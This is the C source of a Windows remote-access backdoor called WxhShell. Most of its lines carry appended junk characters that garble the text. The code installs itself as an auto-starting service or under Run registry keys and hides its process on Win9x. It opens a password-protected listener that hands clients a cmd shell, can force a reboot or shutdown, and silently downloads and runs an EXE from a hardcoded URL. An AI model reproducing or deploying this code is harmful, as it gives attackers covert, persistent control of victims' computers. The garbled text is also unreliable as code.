    ExitThread(0); T$vDw|KSVP  
    } M_Z(+k{Gy  
    break; %D $+Z(  
    } 8TV "9{ n  
  // 关机 m |%ly  
  case 'd': { us$=)m~v+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (sN;B)  
    if(Boot(SHUTDOWN)) 1_V',0|`>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \`N<0COP  
    else {  bMDj+i  
    closesocket(wsh); _X"G(  
    ExitThread(0); Y2 QX9RN  
    } 04}" n  
    break; , I^:xw_  
    } #a|.cm>6  
  // 获取shell '~;vp  
  case 's': { Udl8?EVSz  
    CmdShell(wsh); >xK!J?!K  
    closesocket(wsh); V0)F/qY  
    ExitThread(0); Hy| X>Z  
    break; V^/]h u  
  } p*OpO&oodu  
  // 退出 <o:|0=Sw b  
  case 'x': { n7*.zI]%&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `;BpdG(m  
    CloseIt(wsh); SZ3UR  
    break; wbA<G&h~  
    } d@#wK~I  
  // 离开 p0Ra`*f  
  case 'q': { 86HK4sES  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `S+B-I0  
    closesocket(wsh); dp~] Wx  
    WSACleanup(); m%[`NP (  
    exit(1); X J{b_h#N  
    break; o'auCa,N  
        } p"ElO,\  
  } ZCuLgCP?Z  
  } Z&[_8Y5j  
;f l3'.S[  
  // 提示信息 2uy<wJE >  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ocDAg<wo  
} ]46#u=y~3  
  } | l|7[  
#[ZNiaWT  
  return; zd-qQ.j0  
} [Z$E^QAP  
A[6D40o  
// shell模块句柄 .M zAkZ=  
int CmdShell(SOCKET sock) W v4o:_}  
{ ]UFbG40Zo  
STARTUPINFO si; E whCX'Vaj  
ZeroMemory(&si,sizeof(si)); +%: /!T@@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6-!U\R2Z>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z(0sMOaX  
PROCESS_INFORMATION ProcessInfo; Pt^SlX^MM  
char cmdline[]="cmd"; zEN3N n.8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w(-h!d51+  
  return 0; 7v{s?h->$  
} \;F_QV  
uE%$<o*#  
// 自身启动模式 t~(|2nTO5  
int StartFromService(void) D/x!`&.sN  
{ @M_p3[c\  
typedef struct "CcdwWM  
{ Yp(F}<f?  
  DWORD ExitStatus; &/-^D/ot  
  DWORD PebBaseAddress; .|Y&,?k| Y  
  DWORD AffinityMask; 7w?V0pLwn8  
  DWORD BasePriority; N`1W"Rx!  
  ULONG UniqueProcessId; %{*)-_M  
  ULONG InheritedFromUniqueProcessId; .lE7v -e  
}   PROCESS_BASIC_INFORMATION; IqrT@jgN-  
z [9f  
PROCNTQSIP NtQueryInformationProcess; 5kbbeO|0G  
W< sa6,$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (W'.vEl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iB0#Z_  
M*n@djL$\~  
  HANDLE             hProcess; _&xi})E^O]  
  PROCESS_BASIC_INFORMATION pbi; *Tyr  
 66 @#V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I`-N]sf^  
  if(NULL == hInst ) return 0; v"3($?au0  
Rt=zqfJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  roNRbA]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j,@@[{tu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ap)[;_9BD  
f9FEH7S68  
  if (!NtQueryInformationProcess) return 0; Fh0cOp(  
waRK$/b (  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^Pp2T   
  if(!hProcess) return 0; S%{^@L+V  
|ryV7VJ8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &upM,Jsr*  
c4i%9E+Af  
  CloseHandle(hProcess); s.qo/o\b  
~8l(,N0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .`@)c/<0  
if(hProcess==NULL) return 0; yuA+YZ  
TcEvUZJ"  
HMODULE hMod; x_VD9  
char procName[255]; y Nc"E  
unsigned long cbNeeded; 14Y<-OO: k  
mA2L~=v#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OJ!=xTU%h  
r)xkpa5  
  CloseHandle(hProcess); +$y%H  
Tt\h#E  
if(strstr(procName,"services")) return 1; // 以服务启动 |X6/Y@N  
vv0+F6 @  
  return 0; // 注册表启动 Nt'6Y;m!  
} [3|&!:4g6  
rO3.%B}  
// 主模块 -{O>'9'1A  
int StartWxhshell(LPSTR lpCmdLine) JVxGS{Z  
{ lo< t5~GQ  
  SOCKET wsl; J,SP1-L  
BOOL val=TRUE; ]qpLaBD  
  int port=0; IF~E;  
  struct sockaddr_in door; ZlG|U]mM5  
Ef~Ar@4fA  
  if(wscfg.ws_autoins) Install(); Svqj@@_f  
bbe$6xwi  
port=atoi(lpCmdLine); qr<RMs  
kVeR{i<*(  
if(port<=0) port=wscfg.ws_port; jRGslak;  
XV %DhR=  
  WSADATA data; 0s'h2={iI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bpgvLZb>s  
"kS!rJ[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s:ZYiZ-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8Z[YcLy"({  
  door.sin_family = AF_INET; `WRM7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $s.:H4:I  
  door.sin_port = htons(port); h'm-]v  
;vuqI5k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Wb{0UkApJ  
closesocket(wsl); hb ="J349  
return 1; bo|3sN+D  
} 50jZu'z:  
)Gm,%[?2C  
  if(listen(wsl,2) == INVALID_SOCKET) { CR8szMa  
closesocket(wsl); eEl71  
return 1; scQnL'\  
} ic;M=dsh:  
  Wxhshell(wsl); OC=g 1  
  WSACleanup(); OUFx M  
1"yr`,}?8r  
return 0; n4sO#p)'  
r?2EJE2{V  
} ;k |U2ajFJ  
D8 BmC  
// 以NT服务方式启动 DmtCEKa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SE<?l  
{ wG@f~$   
DWORD   status = 0; aDZ,9}  
  DWORD   specificError = 0xfffffff; @i <vlHpl  
FKBI.}A?!'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?RQ_LA;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |5TzRz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i@m@]-2  
  serviceStatus.dwWin32ExitCode     = 0; H ]z83:Z  
  serviceStatus.dwServiceSpecificExitCode = 0; "K c/Cs2[  
  serviceStatus.dwCheckPoint       = 0; 3ZUME\U  
  serviceStatus.dwWaitHint       = 0; q,m+W='  
lx\9Y8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =JNCQu  
  if (hServiceStatusHandle==0) return; LE}V{%)xD  
ko{7^]gR  
status = GetLastError(); U[EZ, 7n8  
  if (status!=NO_ERROR) ^V7'S<  
{ YN}vAFR`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S7 !;Z@  
    serviceStatus.dwCheckPoint       = 0; NH'Dz6K5  
    serviceStatus.dwWaitHint       = 0; :i9=Wj  
    serviceStatus.dwWin32ExitCode     = status; H!P$p-*.  
    serviceStatus.dwServiceSpecificExitCode = specificError; \k 6'[ln  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SceK$  
    return; b[KZJLZ)  
  } ^_gH}~l+U  
e);`hNLih  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z^!% b  
  serviceStatus.dwCheckPoint       = 0; "IN[(  
  serviceStatus.dwWaitHint       = 0; Qg]+&8!*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +3F%soum95  
} <&RpGAk%I  
\2))c@@%  
// 处理NT服务事件,比如:启动、停止 $a'}7Q_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RJ1 @ a  
{ IOT-R!.5V  
switch(fdwControl) 4$+1&+@ ]  
{ `?G&w.Vs  
case SERVICE_CONTROL_STOP: J'C9}7G  
  serviceStatus.dwWin32ExitCode = 0; ;-AC}jG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t>! Ok  
  serviceStatus.dwCheckPoint   = 0; 46##(4RF  
  serviceStatus.dwWaitHint     = 0; tj4/x7!  
  { |=js!R|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ozg,6&3ji  
  } N 9W,p 2  
  return; fSVb.MZa7  
case SERVICE_CONTROL_PAUSE: \q@Co42n\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gA}?X  
  break; zfw=U \  
case SERVICE_CONTROL_CONTINUE: 1ixBwnp?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }qT{" *SC  
  break; MY}/h@  
case SERVICE_CONTROL_INTERROGATE: A{p_I<  
  break; I(H9-!&  
}; Z4oD6k5oc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +rJDDIb  
} :s*t\09V7  
E#R1  
// 标准应用程序主函数 o3$dl`'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I0*N "07n  
{ X-*LA*xbN  
fjCFJ_  
// 获取操作系统版本 d$^ @$E2f  
OsIsNt=GetOsVer(); *ze,X~8-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V|G*9^Y  
3rBID  
  // 从命令行安装 <JIqkGeAi  
  if(strpbrk(lpCmdLine,"iI")) Install(); 22'Ra[  
D-FT3Culw  
  // 下载执行文件 {53|X=D64  
if(wscfg.ws_downexe) { 8*;>:g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sJ{r+wY  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8<Pi}RH  
} RN&6z"|jR  
EM(%|#  
if(!OsIsNt) { T+q5~~\d  
// 如果时win9x,隐藏进程并且设置为注册表启动 %l?*w~x  
HideProc(); *zQhTYY  
StartWxhshell(lpCmdLine); h=Q2 ?O8  
} VTU(C&"S  
else EU Z7?4o  
  if(StartFromService()) z\"9T?zoo  
  // 以服务方式启动 osc A\r  
  StartServiceCtrlDispatcher(DispatchTable); fZoQQ[s  
else :k-@w5(  
  // 普通方式启动 PhAD: A  
  StartWxhshell(lpCmdLine); {#~A `crO  
a6@k*9D>  
return 0; jvxCCYXR  
} =YIosmr  
YYL3a=;`a  
E 6+ ooB[  
+IMt$}7[  
=========================================== , `PYU[  
ht#,v5oG>f  
EeH ghq  
\u04m}h]  
%k<+#j6ZH  
39MOqVc  
" bI^F (  
-Kw7! =_ g  
#include <stdio.h> [nG[ x|;|  
#include <string.h> ?9%$g?3Z  
#include <windows.h> B" _Xst  
#include <winsock2.h> '14 86q@[$  
#include <winsvc.h> v,Zoy|Lu  
#include <urlmon.h> -g:i'e  
g}S%D(~  
#pragma comment (lib, "Ws2_32.lib") .K1wp G[4  
#pragma comment (lib, "urlmon.lib") FY-eoq0O3  
9kwiG7V1  
#define MAX_USER   100 // 最大客户端连接数 Nv|0Z'M  
#define BUF_SOCK   200 // sock buffer f|ERZN`uB  
#define KEY_BUFF   255 // 输入 buffer >6Jz=N,  
%mIdQQ,  
#define REBOOT     0   // 重启  [aG   
#define SHUTDOWN   1   // 关机 4T$DQK@e  
T9'HQu  
#define DEF_PORT   5000 // 监听端口 #3tC"2MZ  
0dQ\Y]b  
#define REG_LEN     16   // 注册表键长度 Z?d][zGw  
#define SVC_LEN     80   // NT服务名长度 c[T@lz(!  
i9V,  
// 从dll定义API c$lZ\r"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !x\\# 9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .s?^y+e_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); : sw@1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _h`4`r  
:Gzp (@<@e  
// wxhshell配置信息 f]mVM(XZN  
struct WSCFG { ?o`:V|<v  
  int ws_port;         // 监听端口 R](cko=  
  char ws_passstr[REG_LEN]; // 口令 }#2(WHf =<  
  int ws_autoins;       // 安装标记, 1=yes 0=no Gx4{ 9  
  char ws_regname[REG_LEN]; // 注册表键名 )TyP{X>  
  char ws_svcname[REG_LEN]; // 服务名 HGDiwA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G*,7pc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jtq ^((Ux  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t BG 9Mn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;JMmr-@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cnRgzj<ek  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k2.k}?w!JO  
L4ct2|w}ul  
}; j/F('r~L  
kem(U{m  
// default Wxhshell configuration +md"X@k5*  
struct WSCFG wscfg={DEF_PORT, F\v~2/J5v  
    "xuhuanlingzhe", So75h*e  
    1, R,BINp  
    "Wxhshell", K`j:F>b  
    "Wxhshell", $~j9{*]5  
            "WxhShell Service", NTO.;S|2%  
    "Wrsky Windows CmdShell Service", ]>ndFE6kl  
    "Please Input Your Password: ", dc_2nF  
  1, g_! xD;0  
  "http://www.wrsky.com/wxhshell.exe", )]LP8 J&  
  "Wxhshell.exe" 5iI(A'R[7  
    }; j,SZJ{ebXg  
yqtaQ0F~  
// 消息定义模块 gIIF17|Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7TU xdI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /{/mwS"W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !N_eZPU.v  
char *msg_ws_ext="\n\rExit."; G1*,~1i  
char *msg_ws_end="\n\rQuit."; .>~er?-  
char *msg_ws_boot="\n\rReboot..."; U_.}V  
char *msg_ws_poff="\n\rShutdown..."; m8G/;V[x  
char *msg_ws_down="\n\rSave to "; \rO!lvX  
+\u\BJ!LAJ  
char *msg_ws_err="\n\rErr!"; f! )yE`4-  
char *msg_ws_ok="\n\rOK!"; 'm"Ez'sS  
a#x@ e?GvI  
char ExeFile[MAX_PATH]; YXh!+}  
int nUser = 0; Zz]/4 4t  
HANDLE handles[MAX_USER]; +?[s"(  
int OsIsNt; )>^Ge9d]  
]"htOO  
SERVICE_STATUS       serviceStatus; ?A24h !7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F\ GNLi  
Y*O Bky  
// 函数声明 B52dZb  
int Install(void); e\f\CMb  
int Uninstall(void); &Vu-*?  
int DownloadFile(char *sURL, SOCKET wsh); PfB9 .f{  
int Boot(int flag); QC&,C}t,  
void HideProc(void); !4<A|$mQ  
int GetOsVer(void); ?AQA>D#W  
int Wxhshell(SOCKET wsl); ts("(zI1E  
void TalkWithClient(void *cs); \PFjw9s  
int CmdShell(SOCKET sock); 2$VSH&  
int StartFromService(void); feeHXKD|  
int StartWxhshell(LPSTR lpCmdLine); U!K#g_}  
QUfF>,[sv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W7@Vma`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W^S]"N0u  
VR A+p?7-  
// 数据结构和表定义 A/fM30  
SERVICE_TABLE_ENTRY DispatchTable[] = Pj_DI)^  
{ f^F"e'1  
{wscfg.ws_svcname, NTServiceMain}, !R#PJH/TM  
{NULL, NULL} sIl&\g<b  
}; h(3-/4  
.I$+ E  
// 自我安装 lz1cLl m  
int Install(void) }W[=O:p  
{ h|i b*%P_  
  char svExeFile[MAX_PATH]; l<ZHS'-;8  
  HKEY key; 2R^Eea  
  strcpy(svExeFile,ExeFile); s8qpK; O  
Fpwhyls  
// 如果是win9x系统,修改注册表设为自启动 Z!jJ93A"  
if(!OsIsNt) { Ke]'RfO\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qPJSVo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %K06owV(S)  
  RegCloseKey(key); G `B=:s]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cWo__EE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZP&iy$<L  
  RegCloseKey(key); a40>_;}:x  
  return 0; sJl>evw  
    } Z:V<P,N  
  } |z&7KoYK'  
} ER@RWV 2  
else { *P5/S8c  
HCe/!2Y/%  
// 如果是NT以上系统,安装为系统服务 >Rb jdM5K4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UlKg2p  
if (schSCManager!=0) l|vT[X/g  
{ SJi;_bVf  
  SC_HANDLE schService = CreateService 8]O#L}"  
  ( d>c`hQ(V  
  schSCManager, [a}Idi` K  
  wscfg.ws_svcname, 8YgRJQZ!  
  wscfg.ws_svcdisp, 78<fbN5}r  
  SERVICE_ALL_ACCESS, |lu@rN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =}u?1~V  
  SERVICE_AUTO_START, i .eMrzJ|  
  SERVICE_ERROR_NORMAL, y&\t72C$Fi  
  svExeFile, sb1tQ=u[  
  NULL, npbf>n^R  
  NULL, ~DB:/VSmu  
  NULL, J~ +p7S  
  NULL, fD8GAav  
  NULL k)y<iHR_o  
  ); A1z<2.R  
  if (schService!=0) Y$j !-l5z  
  { [ :Sl~  
  CloseServiceHandle(schService); [D<(xr&N%  
  CloseServiceHandle(schSCManager); 8,VEuBZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =)N6 R  
  strcat(svExeFile,wscfg.ws_svcname); / T_v8 {D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O`N,aYo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EaH/Gg3  
  RegCloseKey(key); A_2lG!! 6  
  return 0; v;}MHl  
    } CP$,fj  
  } !|9k&o  
  CloseServiceHandle(schSCManager); 5Fq+^  
} 2 '$nz  
} rg 0u#-  
qw)Ou]L=  
return 1; $"}*#<Z  
} IF<T{/MA  
n* .<L  
// 自我卸载 /5 OQ0{8p  
int Uninstall(void) 4X}TG  
{ YG*}F|1  
  HKEY key; z U *Mk  
AXnKhYlu  
if(!OsIsNt) { (OavgJ+Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L}A2$@  
  RegDeleteValue(key,wscfg.ws_regname); nvc(<Ovw  
  RegCloseKey(key); ="Az g8W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <A`SC;k\u  
  RegDeleteValue(key,wscfg.ws_regname); km`";gUp>  
  RegCloseKey(key); Z-" NLwt[  
  return 0; iuM ,a F  
  } f3h]t0M  
} 2n#H%&^?a  
} $?LegX  
else { oJ#;XR  
tn(6T^u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lYr4gFOs  
if (schSCManager!=0) 9'|_1Q.b^  
{ J%!vhQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ') 2LP;(  
  if (schService!=0) q%)."10}]  
  { [<Mls@?  
  if(DeleteService(schService)!=0) { UF}Ji#fqn  
  CloseServiceHandle(schService); ygK,t*T20  
  CloseServiceHandle(schSCManager); Vy c  
  return 0; qS ggZ0*  
  } %;Z_`W  
  CloseServiceHandle(schService); A,7* 52U  
  } aqQ  U7  
  CloseServiceHandle(schSCManager); 0j}@lOt(  
} bz [?M}  
} BgB0   
1&Mpx!K*T  
return 1; 58`Dcx,yJ  
} $H/: -v  
Tl?jq]  
// 从指定url下载文件 3J3wKw!`  
int DownloadFile(char *sURL, SOCKET wsh) 5B3sRF}  
{ _U,Hi?b"$}  
  HRESULT hr; t+,2 p|B  
char seps[]= "/"; 0a,B&o1  
char *token; +]~}kvk:  
char *file; hxw6^EA  
char myURL[MAX_PATH]; gnf4H V~  
char myFILE[MAX_PATH]; U0N6\+  
;:Tb_4Hr  
strcpy(myURL,sURL); SWT)M1O2  
  token=strtok(myURL,seps); \vpX6!T  
  while(token!=NULL) zW[HGI6w  
  { KsqS{VVCh  
    file=token; ;D%H}+Z  
  token=strtok(NULL,seps); a,n#E!zT?w  
  } 4]xD-sc  
lcfs 1].  
GetCurrentDirectory(MAX_PATH,myFILE); uE.. 1N&*  
strcat(myFILE, "\\"); $2Bll5!]  
strcat(myFILE, file); v9#F\F/  
  send(wsh,myFILE,strlen(myFILE),0); RS2uk 7MB  
send(wsh,"...",3,0); bY~V?yNgKM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ':f,RG  
  if(hr==S_OK) nY?&k$n  
return 0; w(*},  
else T]\'D&P~D  
return 1; oTTE<Ct [  
$"6Gv  
} Lg-!,Y   
Q*e\I8R}  
// 系统电源模块 dkQP.Tj$i  
int Boot(int flag) Pv*]AF;9pQ  
{ z 1.vnGP  
  HANDLE hToken; "DX 2Mu=  
  TOKEN_PRIVILEGES tkp; /38XaKc{6  
:*t5?  
  if(OsIsNt) { mKUm*m#<R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /8"rCh|m-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }z2[w@M  
    tkp.PrivilegeCount = 1; VLfKN)g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :g+ wv}z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aeEio;G1  
if(flag==REBOOT) { '<6DLtZl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [88PCA:  
  return 0; EbJc%%c  
} $Xs`'>,"  
else { YmHu8H_Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bt(nm> Ng  
  return 0; Sb}=j;F  
} p]7IoO -@  
  } |!CAxE0d$B  
  else { m<J:6^H@  
if(flag==REBOOT) { *0_Q0SeE,o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +.uQToqy  
  return 0; VWk{?*Dp  
} f`[E^ zj  
else { {??bJRT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NFqGbA|  
  return 0; U[Lr+nKo\  
} zT>BC}~.b  
} u7},+E)+B  
E=]|v+#~  
return 1; ss`Sl$  
} RP k'1nD  
`(E$-m-~jH  
// win9x进程隐藏模块 bzECNi5^  
void HideProc(void) a&7uRR26  
{ VDiW9]  
&7r a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b&9~F6aM  
  if ( hKernel != NULL ) OMBH[_  
  { x }]"jj2x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D J7U6{KLq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |FSp`P  
    FreeLibrary(hKernel);  hV fANbs  
  } X3?RwN:P  
!x")uYf  
return; D[Q/:_2l  
} 2G_]Y8  
/-+hMYe  
// 获取操作系统版本 7j88^59  
int GetOsVer(void) Z,V<&9a;  
{ K87yQOjPv  
  OSVERSIONINFO winfo; 1jpft3*x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RNt9Qdr4y  
  GetVersionEx(&winfo); ?. Ip(g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %l!- rXp  
  return 1; BKYyc6iE  
  else fm!\**Q1  
  return 0; W>'(MB$3  
} ZX'3qW^D  
h05<1>?|  
// 客户端句柄模块 20I/En  
int Wxhshell(SOCKET wsl) &q#. >  
{ ^z51f>C  
  SOCKET wsh; ` }B,w-,io  
  struct sockaddr_in client; ')Y1c O  
  DWORD myID; ,;f5OUl?[  
F^5\w-gLY  
  while(nUser<MAX_USER) F3L+X5D.yu  
{ 2UxmKp[  
  int nSize=sizeof(client); #5iy^?N"w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [GcW*v  
  if(wsh==INVALID_SOCKET) return 1; 5qFHy[I A  
ZH~Wn#Wp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "]\3t;IT  
if(handles[nUser]==0) rbl^ aik  
  closesocket(wsh); 8\jsGN.$JZ  
else ux6p2Sk;K  
  nUser++; T wzpq1  
  } ;d FJqo82  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tq51;L  
LjIkZ'HuF  
  return 0; D0>Pc9  
} 9Q'[>P=1  
p1W6s0L  
// 关闭 socket R`B} T<*  
void CloseIt(SOCKET wsh) #w:nj1{_  
{ RE1M4UV.  
closesocket(wsh); PKQ.gPu6*@  
nUser--; vin3 i&k  
ExitThread(0); Eu%E2A|`I  
} "2p\/VfA  
~YByyJG   
// 客户端请求句柄 dnh~An 9  
void TalkWithClient(void *cs) N|3#pHm@  
{ }Kn l  
CTxP3a9]  
  SOCKET wsh=(SOCKET)cs; {qOqtkj  
  char pwd[SVC_LEN]; /Z[HU{4  
  char cmd[KEY_BUFF]; c e; zn\  
char chr[1]; :zNNtv iA  
int i,j; :}-?X\|\  
{WQ6=wGpS  
  while (nUser < MAX_USER) { vKfjP_0$  
lS#^v#uS  
if(wscfg.ws_passstr) { -!K&\hEjj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =^\?{oV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %jHe_8=o  
  //ZeroMemory(pwd,KEY_BUFF); 1U?5/Ja  
      i=0; zg$ag4%Qgg  
  while(i<SVC_LEN) { #Tt*NU  
 ) TRUx  
  // 设置超时 O%haaL\  
  fd_set FdRead; ~O]{m,)n  
  struct timeval TimeOut; mkrVeBp  
  FD_ZERO(&FdRead); {'z$5<|  
  FD_SET(wsh,&FdRead); A(n#k&W1fZ  
  TimeOut.tv_sec=8; ap2g^lQXq  
  TimeOut.tv_usec=0; s+z5"3'n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CxSh.$l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /)`]p1c1%w  
9,JWi{lIv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Et0)6^-v  
  pwd=chr[0]; <lLJf8OK  
  if(chr[0]==0xd || chr[0]==0xa) { M?GkHJ%!  
  pwd=0; ia3!&rZ  
  break; rm-;Z<  
  } ).A9>^6?{  
  i++; @th94tk,  
    } :8HVq*itS  
[rL 8L6,!  
  // 如果是非法用户,关闭 socket D@:'*Z(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _pDfPLlY&  
} dCo3VF"u  
yH>C7M7 t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wNn=JzP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pf%; *  
%(W8W Lz}  
while(1) { *)Cr1d k  
yqVoedN  
  ZeroMemory(cmd,KEY_BUFF); *M_^I)*L  
`xx3JQv[  
      // 自动支持客户端 telnet标准   &]shBvzl^  
  j=0; (E,Ibz2G:e  
  while(j<KEY_BUFF) { 7upWM~H^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yz5! >|EB  
  cmd[j]=chr[0]; 7[UD;&\k  
  if(chr[0]==0xa || chr[0]==0xd) { q ]VB}nO  
  cmd[j]=0; 5G$ ,2i(  
  break; Y*\N{6$2  
  } f=u +G  
  j++; E!BzE_|i  
    } ~(7ct*U~  
I)s_f5'  
  // 下载文件 )Y9\>Xj7  
  if(strstr(cmd,"http://")) { </1]eDnU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d>F.C>  
